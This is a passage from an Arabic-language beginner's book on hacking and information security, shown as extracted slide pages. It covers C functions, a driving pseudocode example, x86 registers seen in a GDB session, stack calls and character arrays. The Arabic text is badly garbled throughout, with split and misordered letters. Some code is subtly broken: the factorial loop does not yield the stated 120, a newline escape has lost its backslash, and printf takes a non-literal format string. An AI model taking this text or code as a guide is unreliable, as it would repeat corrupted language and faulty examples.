‫ه‬‫ضع‬َ‫و‬‫ل‬ ‫اإلشار‬ ‫صباح‬‫م‬ ‫ة‬ ‫ال‬ ‫من‬ ‫روج‬ُ‫خل‬‫ا‬ ‫م‬ُ‫ث‬ ، Function .ً‫ا‬‫أطري‬
  • 28.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [28] ‫ال‬ ‫غة‬ُ‫ل‬ ‫يف‬ C ‫لل‬ ‫استدعاء‬ ‫ث‬ُ‫حيد‬ Function َ‫م‬‫قا‬ ‫ن‬َ‫مل‬ ‫أو‬ ‫نا‬َ‫ل‬ ‫ما‬ ٍ‫قيمة‬ ‫أو‬ ‫ج‬‫نات‬ ‫إرجاع‬‫ب‬ ‫تقوم‬ ‫أن‬ ‫ا‬ّ‫م‬‫ل‬ ،‫ها‬‫ل‬َ‫م‬َ‫ع‬ ‫أداء‬ َ‫عد‬َ‫ب‬‫و‬ ، ‫ها‬‫باستدعائ‬ ( (functions can return a value to a caller ‫يشء‬ ‫لنا‬ ‫ع‬‫ُرج‬‫ت‬ ‫ال‬ ‫بام‬ُ‫ور‬ ! ، ‫و‬ ‫ال‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ function ‫التي‬ ‫بال‬ ‫عملها‬ ‫انتهاء‬ ‫بعد‬ ‫قيمة‬ ‫لنا‬ ‫ع‬‫ُرج‬‫ت‬ ‫ال‬ .void( ) ‫ال‬ ‫لرجاع‬ ‫حالة‬ ‫يف‬ ‫أما‬ function ‫اإلشارة‬‫ب‬ ‫َقوم‬‫ن‬ ‫ها‬‫ل‬َ‫م‬َ‫ع‬ ‫انتهاء‬ َ‫عد‬َ‫ب‬ ‫قيمة‬ ‫ال‬ ‫قيه‬ ‫ع‬ َ ‫تض‬ َ ‫س‬ ‫الذي‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫لىل‬ function ‫ال‬ ‫ذذا‬ return value ، ‫ال‬ ‫توضيح‬ َ‫ع‬َ‫م‬ Data type ..‫ه‬‫ب‬ ‫اخلاص‬ ‫ذلك؟‬ ‫كيف‬ ‫س‬ ..ً‫ا‬‫حسن‬ ‫نرشح‬ ‫ذذا‬ ‫ب‬ ‫ثال‬‫م‬ : ‫ماييل‬ function ‫اسمها‬ factorial( ) ِّ ‫تغري‬ُ‫مل‬‫ا‬ ‫عىل‬ ‫رياضية‬ ‫عملية‬ ‫إلجراء‬ ‫باستدعائها‬ ‫نقوم‬ a ، ‫لنا‬ ‫ع‬‫ج‬ ُ ‫سرت‬ ‫انتهائها‬ ‫وبعد‬ ‫َغري‬‫ت‬ُ‫مل‬‫ا‬ ‫يف‬ ‫بوضعها‬ ‫تقوم‬ ‫قيمة‬ b . int a=5, b; b = factorial(a); ‫ب‬ ‫الكود‬ ‫ذذا‬ ‫يف‬ ‫َقوم‬‫ن‬ ‫بنوع‬ ‫تغريين‬ُ‫م‬ ‫َعريف‬‫ت‬ int ‫املتغري‬ ‫أطربنا‬ ‫م‬ُ‫ث‬ ، b ‫قيمة‬ ‫سيحوي‬ ُ‫ه‬‫أن‬ ، ‫بالطبع‬ ‫ستكون‬ int ، ‫أن‬ ‫يعني‬ ‫وذذا‬ ‫ال‬ return value ‫ال‬ ‫من‬ ‫القادم‬ factorial( ) ‫نوعه‬ ‫سيكون‬ integer . ‫تغري‬ُ‫مل‬‫ا‬ ‫قيمة‬ ‫ووضعنا‬ a " ‫بخمسة‬ " ، ‫سيكون‬ (a) ‫ال‬ ‫ذو‬ ‫نا‬ُ‫ذ‬ Argument ‫ال‬ ‫ذذه‬ ‫لىل‬ ُ‫ه‬‫لمرار‬ ‫م‬‫ت‬َ‫ي‬ ‫الذي‬ function ، ‫الرقم‬ ‫ل‬‫ُدط‬‫ن‬‫س‬ ‫أننا‬ ‫بمعنى‬ 5 ‫ية‬‫ساب‬‫احل‬ ‫لية‬َ‫م‬َ‫ع‬‫ال‬ ‫إلجراء‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫يف‬ ‫ج‬‫النات‬ ‫ع‬ َ ‫َض‬‫ن‬ ‫م‬ُ‫ث‬ ‫ليه‬َ‫ع‬ b . ‫ال‬ َ‫ي‬‫ذاذ‬ factorial( ) :‫ها‬‫باستدعائ‬ ‫منا‬ُ‫ق‬ ‫التي‬
  • 29.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [29] int factorial (int x) { int i; for (i=1; i < x; i++) x *= i; return x; } ‫قيمة‬ ‫أن‬ ‫ظ‬‫الح‬ x ‫لل‬ ً‫ا‬‫تبع‬ ‫تركها‬ ‫َم‬‫ت‬ ‫حالتنا‬ ‫يف‬ ‫وذو‬ ‫ل‬ َ ‫دط‬ُ‫مل‬‫ا‬ ‫رقم‬ 5 ‫ال‬ ‫ديد‬ َ ‫حت‬ ‫َم‬‫ت‬‫و‬ ، data type ‫أنه‬ integer . ‫النهاية‬ ‫يف‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫سيحوي‬ b ‫ذي‬ ‫قيمة‬ ( 5*4*3*2*1 = 120 .) ‫لية‬َ‫م‬َ‫ع‬ ‫م‬‫َت‬‫ت‬ ‫كيف‬ ‫بالتفصيل‬ ‫لك‬ ‫سأرشح‬ " ‫ال‬ ‫استدعاء‬ function " ‫يف‬ ‫الثالث‬ ‫الباب‬ .‫اهلل‬ ‫بإذن‬ ‫ال‬ ‫أن‬ ‫ر‬‫ك‬َ‫َذ‬‫ت‬ Function ‫ي‬‫ق‬ ‫نا‬َ‫ل‬ ‫ع‬‫ُرج‬‫ت‬ ‫ال‬ ‫التي‬ ‫م‬ ‫ة‬ ‫عينة‬ُ‫م‬ " return value " ‫بال‬ ‫ققط‬ ‫ما‬ ٍ‫وظيفة‬‫ب‬ ‫تقوم‬‫ل‬ ‫َستدعيها‬‫ن‬ ‫التي‬ َ‫ي‬‫وذ‬ ، " Void Function " . ‫ال‬ ‫استدعينا‬ ‫أننا‬ ‫الحظ‬ ،‫املايض‬ ‫السيارة‬ ‫يادة‬‫ق‬‫ب‬ ‫اخلاص‬ ‫ثال‬‫للم‬ ‫ئنا‬‫ج‬ ‫لذا‬ Function( ) _ Turn ‫لتقوم‬ ‫ظار‬‫بانت‬ ‫لسنا‬ ‫قنحن‬ ،‫ققط‬ ‫للحارة‬ ‫الدطول‬ ‫بعملية‬ return value ،‫نها‬‫م‬ ‫ألننا‬ ‫ال‬ ‫من‬ ‫جمموعة‬ ‫تنفيذ‬ ‫د‬َ‫َو‬‫ن‬ ‫ققط‬ instructions ‫ر‬َ‫م‬ ‫كل‬ ‫تهم‬َ‫ب‬‫تا‬‫لك‬ ‫االضطرار‬ ‫بدون‬ ‫ة‬ .!‫حارة‬ ‫ي‬‫أل‬ ‫الدطول‬ ‫قبل‬ ‫ثال‬‫امل‬ ‫ذا‬َ‫ِب‬ ‫م‬‫َخت‬‫ن‬ َ ‫س‬ ‫ققرة‬ ‫ال‬ functions : void turn (variable_direction, target_street_name) { Look for a street sign; current_intersection_name = read street sign name; while (current_intersection_name != target_street_name) { Look for another street sign; current_intersection_name = read street sign name; } Activate the variable_direction blinker; Slow down;
  • 30.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [30] Check for oncoming traffic; while (there is oncoming traffic) { Stop; Watch for oncoming traffic; } Turn the steering wheel to the variable_direction; while(turn is not complete) { if(speed < 5 mph) Accelerate; } Turn the steering wheel right back to the original position; Turn off the variable_direction blinker; } ‫ال‬ ‫تكون‬ ‫ولكي‬ Function ‫واقعية‬ ‫أكثر‬ .. ‫لضاقة‬ ‫َم‬‫ت‬ “Argument” ِّ ‫تغري‬ُ‫م‬ ‫أو‬ " target_street_name " ‫اسم‬ ‫وذو‬ ‫ال‬ ،‫لليه‬ ‫ماج‬‫اإلند‬ ‫اد‬ َ‫ر‬ُ‫مل‬‫ا‬ ‫ع‬‫شار‬ ‫ال‬ ‫ب‬‫جان‬‫ب‬ Argument ‫األول‬ " variable_direction ." ‫ه‬‫ذ‬َ‫ذ‬ ‫ن‬‫م‬ ‫اإلستفادة‬ ‫ق‬ِّ‫ق‬‫ُح‬‫ن‬‫س‬ ‫واآلن‬ ‫ال‬ function ‫للسيار‬ ‫ج‬َ‫م‬‫رنا‬َ‫ب‬ ‫ُب‬‫ت‬‫َك‬‫ن‬ ‫بأن‬ ‫ة‬ ‫ال‬ ‫َدعي‬‫ت‬‫َس‬‫ن‬ ‫م‬ُ‫ث‬ function .‫ب‬‫ناس‬ُ‫مل‬‫ا‬ ‫قت‬َ‫الو‬ ‫يف‬ Begin going East on Main Street; if (street is blocked) { Turn (right, 15th Street); Turn (left, Pine Street); Turn (right, 16th Street); } else Turn (right, 16th Street); Turn (left, Destination Road); for (i=0; i<5; i++)
  • 31.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [31] Drive straight for 1 mile; Stop at 740 Destination Road; ‫باستدعاء‬ ‫منا‬ُ‫ق‬ َ‫أين‬ َ ‫ظت‬ َ‫الح‬ ‫ذل‬ Turn( ) ‫؟‬ . ‫ال‬ ‫بإمرار‬ ‫أيضا‬ ‫منا‬ُ‫ق‬ Arguments ‫ال‬ ‫مكان‬ ‫نهم‬‫م‬ ‫ُل‬‫ك‬ ‫ضع‬َ‫و‬ ‫تم‬َ‫ي‬‫ل‬ ‫لليها‬ variable ،‫املطلوب‬ ‫وتنفيذ‬ ‫له‬ ‫ر‬‫ناظ‬ُ‫مل‬‫ا‬ ‫ننتظر‬ ‫ولن‬ return value ‫ألهنا‬ ‫نها‬‫م‬ “void function” . .‫ديد‬ َ‫ج‬ ‫ن‬‫م‬ ‫ة‬َ َ‫جم‬ َ ‫الرب‬ ‫لىل‬ ‫َعود‬‫ن‬ ‫م‬ُ‫ث‬ ً‫ال‬‫قلي‬ ‫تلف‬ ُ ‫ُم‬ ‫موضوع‬ ‫لىل‬ ‫اآلن‬ ‫سننتقل‬ . ‫ال‬ ‫عض‬َ‫ب‬ ‫عىل‬ ‫سنتعرف‬ Registers ‫التي‬ ‫ال‬ ‫مها‬‫ستخد‬َ‫ي‬ CPU . ‫الربامج‬ ‫مع‬ ‫له‬ُ‫م‬‫تعا‬ ‫أثناء‬ x86 Processor ‫بال‬ ‫تعلقة‬ُ‫مل‬‫ا‬ ‫األمور‬ ‫بعض‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫قصري‬ ‫قاصل‬ ‫نأطذ‬ َ ‫س‬ x86 processor َ‫ن‬‫ل‬ ‫عىل‬ ‫تعرف‬ ‫َي‬‫ك‬ ‫فية‬ ‫ت‬ ‫ال‬ ‫ل‬َ‫م‬‫عا‬ CPU ‫ال‬ ‫مع‬ Compiled Program . . ‫ال‬ ‫ك‬‫َل‬‫ت‬‫م‬َ‫ي‬ Processor ‫جمموع‬ ‫ة‬ ‫ال‬ ‫من‬ Registers .. ‫قهو‬ ‫ك‬ ‫مهم‬‫َخد‬‫ت‬‫س‬َ‫ي‬ internal variables ُ‫ي‬ ‫ختلف‬ُ‫مل‬‫ا‬ ‫هامه‬َ‫م‬ ‫إلمتام‬ ‫دقيق‬ ‫بشكل‬ ‫فهم‬ِّ‫ظ‬‫و‬ ‫ة‬ . ‫بال‬ ‫نعني‬ ‫ماذا‬ ‫ولكن‬ ،‫نعم‬ Register ‫؟‬.. ‫ال‬ ‫داطل‬ ‫صغرية‬ ‫ختزين‬ ‫مساحة‬ ‫لهنا‬ CPU ‫ال‬ ‫مع‬ ‫والتعامل‬ ‫للوصول‬ ‫يستخدمها‬ ‫طريقة‬ ‫أِسع‬ ‫ُعد‬‫ت‬‫و‬ Data . A small amount of storage on the CPU and is the fastest method for a CPU to access data.
  • 32.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [32] ‫ال‬ ‫داطل‬ ‫الوقوف‬ ‫يمكنك‬ ‫كام‬ ،‫التفاصيل‬ ‫من‬ ‫الكثري‬ ‫رؤية‬ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ Compiled Program ‫ال‬ ‫راقبة‬ُ‫م‬‫و‬ memory ‫خصص‬ُ‫مل‬‫ا‬ ‫ة‬ ‫ال‬ ‫أوضاع‬ ‫َيك‬‫ن‬‫ي‬َ‫ع‬‫ب‬ ‫وترى‬ ‫لربناجمك‬ Registers ‫ال‬ ‫وظيفة‬ ‫لهنا‬ ،‫الربنامج‬ ‫عمل‬ ‫أثناء‬ " Debugger " . ‫ال‬ ‫ذذا‬ ‫ما‬ ..Debugger ‫؟‬ ‫امليكرسكو‬ ‫الكيميائي‬ ‫م‬‫َخد‬‫ت‬‫س‬َ‫ي‬ ‫ثلام‬‫م‬ ‫سيتفحص‬ ُ‫ه‬ّ‫ن‬‫ك‬َ‫ل‬ ،ً‫ا‬‫أيض‬ ‫امليكرسكوب‬ ‫باستخدام‬ ‫ج‬‫ربم‬ُ‫مل‬‫ا‬ ‫قوم‬َ‫ي‬ ،‫العينات‬ ‫لفحص‬ ‫ب‬ ُ‫ي‬ ‫َام‬‫ك‬ ،‫اجلهاز‬ ‫عىل‬ ُ‫ه‬‫تأثري‬ ‫راقبة‬ُ‫م‬‫و‬ ‫ه‬ُ‫ُريد‬‫ت‬ ‫ي‬ َ ‫رجم‬َ‫ب‬ ‫سطر‬ ‫أي‬ ‫عىل‬ ‫الوقوف‬ َ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ ،‫برناجمه‬ ‫به‬ ‫َغريا‬‫ت‬ُ‫مل‬‫وا‬ ‫م‬َ‫ي‬‫الق‬ ‫تغيري‬ ‫ُك‬‫ن‬‫مك‬ ‫ت‬ .. ‫األمور‬ ‫من‬ ‫وغريذا‬ ‫الشيق‬ ‫ة‬ .! ‫سنقوم‬ ‫الثالث‬ ‫الباب‬ ‫يف‬ ‫ا‬ ‫بإذن‬ ‫ال‬ ‫باستخدام‬ ‫هلل‬ “GDB Debugger” ‫ال‬ ‫وقحص‬ ‫الربامج‬ ‫أحد‬ ‫مع‬ Registers َ ‫ص‬‫ص‬َ‫خ‬ُ‫مل‬‫ا‬ ‫ة‬ ‫الربجمي‬ ‫األططاء‬ ‫بعض‬ ‫واستخراج‬ ُ‫ه‬‫ل‬ ‫ة‬ .!‫الربنامج‬ ‫اطرتاق‬ ‫يف‬ ‫واستغالهلا‬ ‫سنكتفي‬ ‫َام‬‫ن‬‫بي‬ ً‫ا‬‫حالي‬ ‫بعض‬ ‫برشح‬ ‫بال‬ ‫تعلقة‬ُ‫مل‬‫ا‬ ‫األساسيات‬ Registers . ‫باستخ‬ ‫تحه‬َ‫ق‬ ‫َم‬‫ت‬ ‫ج‬َ‫م‬‫نا‬ َ ‫رب‬‫ل‬ ‫ثال‬‫م‬ ‫وضع‬َ‫ب‬ ‫َقوم‬‫ن‬ َ ‫س‬ ‫د‬ ‫ام‬ GDB debugger ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫ونقوم‬ Breakpoint ‫ال‬ ‫عند‬ main( ) ‫ال‬ ‫ضع‬َ‫و‬ ‫د‬‫ُشاذ‬‫ن‬‫ل‬ Registers .‫الربنامج‬ ‫َشغيل‬‫ت‬ ‫أثناء‬ ‫ال‬ ‫أن‬ ‫الحظ‬ main( ) ‫ن‬‫ولك‬ ..‫ج‬َ‫م‬‫نا‬ َ ‫الرب‬ ‫يف‬ ‫رائته‬‫ق‬ ‫م‬‫ت‬َ‫ي‬ ‫ما‬ ‫أول‬ ‫ذي‬ !ً‫ال‬‫ه‬َ‫م‬ ‫ال‬ ‫ذذا‬ ‫ن‬‫م‬ ‫نستفيد‬ ‫ماذا‬ Breakpoint ‫؟‬.. “it gives you the ability to halt a process that is being debugged” ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نقوم‬ ‫اذا‬‫ومل‬ halt ‫لل‬ process ‫؟‬.. By halting a process, you are able to inspect variables, stack arguments, and memory locations.
  • 33.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [33] reader@hacking:~/booksrc $ gdb -q ./a.out Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) break main Breakpoint 1 at 0x804837a (gdb) run Starting program: /home/reader/booksrc/a.out Breakpoint 1, 0x0804837a in main () (gdb) info registers eax 0xbffff894 -1073743724 ecx 0x48e0fe81 1222704769 edx 0x1 1 ebx 0xb7fd6ff4 -1208127500 esp 0xbffff800 0xbffff800 ebp 0xbffff808 0xbffff808 esi 0xb8000ce0 -1207956256 edi 0x0 0 eip 0x804837a 0x804837a <main+6> eflags 0x286 [ PF SF IF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 ‫أربعة‬ ‫أول‬ ‫الحظ‬ Registers :‫الرتتيب‬ ‫عىل‬ ‫م‬ُ‫ذ‬ ،‫ج‬َ‫م‬‫نا‬ َ ‫الرب‬ ‫ل‬َ‫م‬َ‫ع‬ ‫داية‬‫ب‬ ‫ند‬‫ع‬ ‫ظهروا‬ (EAX, ECX, EDX, and EBX) ‫ليهم‬َ‫ع‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ General Registers ‫ال‬ ‫م‬ُ‫مه‬‫َخد‬‫ت‬‫س‬َ‫ي‬ CPU ‫عتربوا‬ُ‫ي‬ ‫أهنم‬ ‫أمهها‬ ،‫ة‬ّ‫د‬‫ع‬ ‫مور‬ُ‫أ‬ ‫يف‬ " temporary variables " ‫ال‬ ‫م‬ُ‫مه‬‫َخد‬‫ت‬‫س‬َ‫ي‬ CPU ‫لل‬ ‫تنفيذه‬ ‫أثناء‬ Instructions .
  • 34.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [34] ‫ماييل‬ :‫م‬ُ‫نه‬‫م‬ ٍ‫ُل‬‫ك‬‫ل‬ َ ‫َرص‬‫ت‬ ُ ‫ُم‬ ‫توضيح‬ EAX ً‫ا‬‫أيض‬ ‫ليها‬َ‫ع‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ Accumulator register ‫ساب‬‫احل‬ ‫ليات‬َ‫م‬َ‫ع‬‫ال‬ ‫عض‬َ‫ب‬ ‫بإجراء‬ ‫تقوم‬ ‫املقارن‬ ‫و‬ ‫والطرح‬ ‫اجلمع‬ ‫مثل‬ ‫ية‬ ‫ة‬ ، ‫ال‬ ‫ختزين‬ ‫مكان‬ ‫د‬َ‫ع‬ُ‫ت‬ ‫أهنا‬ ‫زذا‬ِّ‫ي‬َ‫م‬ُ‫ي‬ ‫ما‬ ‫م‬َ‫وأذ‬ ،‫ة‬َ‫سم‬‫والق‬ ‫الرضب‬ ً‫ا‬‫وأيض‬ return values . ‫ذذا‬ ‫ر‬‫تتذك‬ ‫ذل‬ ‫ال‬ return value ‫؟‬.. ‫ال‬ ‫ققرة‬ ‫يف‬ ُ‫ه‬‫عن‬ ‫حتدثنا‬ ‫لقد‬ “Functions” ، ً‫ا‬‫لذ‬ .. ‫مكن‬ُ‫ي‬ ‫نا‬ ‫التأكد‬ ‫أداء‬ ‫اكتامل‬ ‫من‬ function ‫ها‬‫ين‬َ‫ع‬‫ب‬ ‫َوى‬‫ت‬ ُ ‫حم‬ ‫حص‬َ‫ق‬ ‫ريق‬َ‫ط‬ ‫ن‬َ‫ع‬ ‫ال‬ EAX ، ُ‫ن‬‫مك‬ُ‫ي‬ ‫َام‬‫ك‬ ‫نا‬ ‫هل‬ ‫علية‬‫الف‬ ‫يمة‬‫الق‬ ‫ة‬َ‫ق‬‫عر‬َ‫م‬ ‫ال‬ ‫ذا‬ return value . ECX ‫عليها‬ ‫ق‬‫ُطل‬‫ن‬ “Count register or Counter” ، ‫ال‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫ُس‬‫ت‬ ‫ألهنا‬ Looping operations . EDX ‫عليها‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ ‫ذذه‬ Data register ‫لل‬ ‫امتداد‬ ‫د‬َ‫ع‬ُ‫ت‬‫و‬ ، EAX ‫ال‬ ‫من‬ ‫أكرب‬ ‫كمية‬ ‫ختزين‬ ‫حالة‬ ‫يف‬ ‫تدعمها‬ ‫أهنا‬ ‫أي‬ data ‫أثناء‬ .!ً‫ا‬‫تعقيد‬ ‫األكثر‬ ‫احلسابات‬ ‫لجراء‬ EBX ..ً‫ا‬‫وأطري‬ Base register ‫ك‬َ‫ل‬ ،‫ها‬‫ين‬َ‫ع‬‫ب‬ ‫ظيفة‬َ‫و‬‫ل‬ ‫م‬‫م‬ َ ‫ُص‬‫ت‬ ‫مل‬ ، ‫لضاقي‬ ‫ساحة‬‫َم‬‫ك‬ ‫م‬َ‫َخد‬‫ت‬‫ُس‬‫ت‬ ‫نها‬ ‫ة‬ .‫للتخزين‬
  • 35.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [35] ‫ال‬ ‫من‬ ‫جديدين‬ ‫نوعني‬ ‫لنا‬ ‫يظهر‬ ‫ثم‬ Registers ‫وذم‬ : ESP and EBP Stack Pointer ‫و‬ Base Pointer ‫ال‬ ‫عملية‬ ‫إلدارة‬ ‫استخدامهم‬ ‫يتم‬ function calls ‫ال‬ ‫مع‬ ‫ل‬ُ‫م‬‫والتعا‬ Stack . ‫يف‬ ‫التفصيل‬ ‫من‬ ‫بمزيد‬ ‫هلم‬ ‫سنتعرض‬ .‫الثالث‬ ‫الباب‬ ‫ال‬ ‫ماذذا‬ ‫ن‬‫ولك‬ Stack ‫؟‬ ‫أهنا‬ ‫يبدو‬ structure ‫باالحتفاظ‬ ‫يقوم‬ ‫التفصيلي‬ ‫بالبيانات‬ ‫ة‬ ‫بال‬ ‫اخلاصة‬ function calls ، ‫ال‬ ‫مبدأ‬ ‫وتعتمد‬ (FILO) ‫ويعني‬ “First In Last Out” ‫ب‬ ‫لليها‬ ‫البيانات‬ ‫لرسال‬ ‫عملية‬ ‫عىل‬ ‫ق‬‫ُطل‬‫ن‬ ،‫بالشكل‬ ‫يظهر‬ ‫كام‬ “Push” ‫ب‬ ‫منها‬ ‫البيانات‬ ‫استخراج‬ ‫وعملية‬ “Pop” . ‫عملية‬ ‫لك‬ ‫ح‬ ِّ ‫سأوض‬ function call ‫ال‬ ‫لىل‬ ‫يانات‬َ‫ب‬‫ال‬ ‫لرسال‬ ‫م‬‫ت‬َ‫ي‬ َ ‫َيف‬‫ك‬ ‫د‬‫ُشاذ‬‫ت‬‫ل‬ ‫باألسفل‬ Stack . ..‫عام‬ ‫وبوجه‬ ‫ال‬ ‫تقوم‬ Stack ‫بثالث‬ ‫ة‬ :‫ذي‬ ‫رئيسية‬ ‫أمور‬ Stores information about how a function is called, the parameters it takes, and how it should return after it is finished executing. ‫لجراء‬ ‫لية‬َ‫م‬َ‫ع‬‫ل‬ ‫ثال‬‫م‬ ‫ذذا‬ function call ، ‫ال‬ ‫ن‬‫م‬ ً‫ال‬ُ‫ك‬ ‫دور‬ ً‫ا‬‫ع‬َ‫م‬ ‫َرى‬‫ن‬‫س‬ (ESP and EBP) ، ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫الصيغة‬ ‫ذي‬ ‫ذذه‬ ‫ة‬ ‫لعمل‬ call ‫لل‬ function ‫سام‬ُ‫مل‬‫ا‬ ‫ة‬ my_pencils( ) ‫ال‬ ‫بلغة‬ C : int my_pencils (color_one, color_two, color_three);
  • 36.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [36] ‫ال‬ ‫عملية‬ ‫م‬‫َت‬‫ت‬ ‫وذكذا‬ Call ‫بال‬ x86 Assembly : push color_three push color_two push color_one call my_pencils ‫ال‬ ‫شكل‬ ‫ذو‬ ‫وذذا‬ Stack frame ‫ال‬ ‫أن‬ ‫(الحظ‬ ، Argument ‫الثالث‬ ‫ال‬ ‫أسفل‬ ‫يف‬ ً‫ال‬‫أو‬ ‫وضعه‬ ‫تم‬ Stack ،!) ‫كام‬ ً‫ام‬‫دائ‬ ‫أنه‬ ‫ال‬ ‫ُشري‬‫ت‬ ‫ما‬ ESP ‫ال‬ ‫لىل‬ (Top of Stack) . ‫ال‬ ‫ذذه‬ ‫لىل‬ ‫سطر‬ ‫بإضاقة‬ ‫سنقوم‬ ‫واآلن‬ function ‫ال‬ ‫يف‬ ‫ث‬ُ‫حد‬َ‫ي‬ َ ‫س‬ ‫ما‬ ‫د‬‫ُشاذ‬‫ن‬ ‫كي‬ Stack . int my_pencils (color_one, color_two, color_3); { [ 10 ] char uni_pen_color_one }
  • 37.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [37] ‫ال‬ ‫طانة‬ ‫قوق‬ ‫أطرى‬ ‫طانة‬ ‫ظهور‬ ‫ُالحظ‬‫ن‬‫س‬ Return address ‫ال‬ ‫يف‬ stack ، ‫تغري‬ُ‫مل‬‫ا‬ ‫ِبا‬ ‫سيكون‬ (uni_pen_color_one) ‫ال‬ ‫وسينتقل‬ Stack pointer ‫لال‬ ‫شار‬ ‫ة‬ ‫لليها‬ ، ‫ال‬ ‫لىل‬ ً‫ا‬‫دوم‬ ‫شري‬ُ‫ي‬ ُ‫ه‬‫ن‬‫أل‬ " Top of Stack " . ‫س‬ ً‫ا‬‫حالي‬ ‫القدر‬ ‫ِبذا‬ ‫نكتفي‬ . ‫ل‬ ‫ال‬ ‫لىل‬ ‫نعود‬ Registers :‫اآلطرى‬ ESI and EDI  (ESI) Source Index, holds the location of the input data stream.  (EDI) Destination Index, points to the location where the result of a data operation is stored. :‫ُّر‬‫ك‬‫َذ‬‫ت‬‫ال‬ ‫لية‬َ‫م‬َ‫ع‬ ‫َسهيل‬‫ت‬‫ول‬  ESI is used when we need to read data from something.  EDI is used when we want to write data in somewhere. EIP ‫ليها‬َ‫ع‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬ Instruction Pointer ‫ال‬ ‫لىل‬ ‫ُشري‬‫ت‬ ‫ألهنا‬ Instruction ‫يقوم‬ ‫التي‬ ‫احلالية‬ ‫ال‬ CPU ‫لها‬ُّ‫ي‬ َ ‫خت‬ َ ‫ُك‬‫ن‬‫مك‬ُ‫ي‬ .‫ها‬‫رائت‬‫ق‬‫ب‬ ‫قرائت‬ ‫أثناء‬ ‫أذا‬ َ‫قر‬َ‫ي‬ ‫ة‬َ‫م‬‫َل‬‫ك‬ ‫ُل‬‫ك‬ ‫عىل‬ ‫لصبعه‬ ‫ع‬ َ ‫ض‬َ‫ي‬ ‫خص‬ َ ‫ش‬‫ب‬ ‫ه‬ ‫ال‬ ‫كذلك‬ ،‫ما‬ ٍ‫ع‬‫موضو‬ ‫أو‬ ‫جلة‬‫مل‬ processor ‫لصبعه‬ ‫يستخدم‬ ‫ال‬ ‫وذو‬ ‫اخلاص‬ EIP ‫كل‬ ‫ليقرأ‬ Instruction ‫ري‬ َ ‫جي‬ .ُ‫ه‬‫فيذ‬‫َن‬‫ت‬ ‫ال‬ ‫من‬ ‫ذذه‬ registers ‫عمل‬ ‫أثناء‬ ‫اذتاممك‬ ‫ستوليها‬ ‫التي‬ ‫ال‬ ‫ية‬ Debugging . ُ‫ذ‬ ‫لىل‬ ..‫الفاصل‬ ‫ذذا‬ ‫أهنينا‬ ‫قد‬ ‫نكون‬ ‫نا‬ ‫َعود‬‫ن‬‫ل‬ ‫ذيا‬ ‫جديد‬ ‫من‬ ..‫ية‬ َ ‫جم‬ َ ‫الرب‬ ‫األساسيات‬ ‫ل‬‫َستكم‬‫ن‬‫ل‬
  • 38.
    ‫اإللكتروني‬‫القرصنة‬ ‫ة‬ ‫وأ‬ ‫المعلومات‬‫من‬ Understanding Hacking andInformation Security Programming [38] Arrays ‫عددذا‬ ‫العنارص‬ ‫من‬ ‫جمموعة‬ ‫لهنا‬ n ‫ذات‬ data type ‫حمدد‬ ‫ة‬ ‫ال‬ ‫داطل‬ ‫تتموضع‬ Memory . “Is a list of n elements of a specific data type” ، َ‫ل‬‫ط‬ُ‫ي‬ ً‫ا‬‫أيض‬ ‫عليها‬ ‫ق‬ “Buffers” . ‫ماييل‬ ‫مثال‬ ‫يوضح‬ ‫لنا‬ ‫ال‬ character array : #include <stdio.h> int main() { char str_a[20]; str_a[0] = 'H'; str_a[1] = 'e'; str_a[2] = 'l'; str_a[3] = 'l'; str_a[4] = 'o'; str_a[5] = ','; str_a[6] = ' '; str_a[7] = 'w'; str_a[8] = 'o'; str_a[9] = 'r'; str_a[10] = 'l'; str_a[11] = 'd'; str_a[12] = '!'; str_a[13] = 'n'; str_a[14] = 0; printf (str_a); } ‫عمل‬ ‫عند‬ ‫الربنامج‬ ‫شكل‬ ‫وذذا‬ compile ‫باستخدام‬ ‫له‬ GCC :
  • 39.
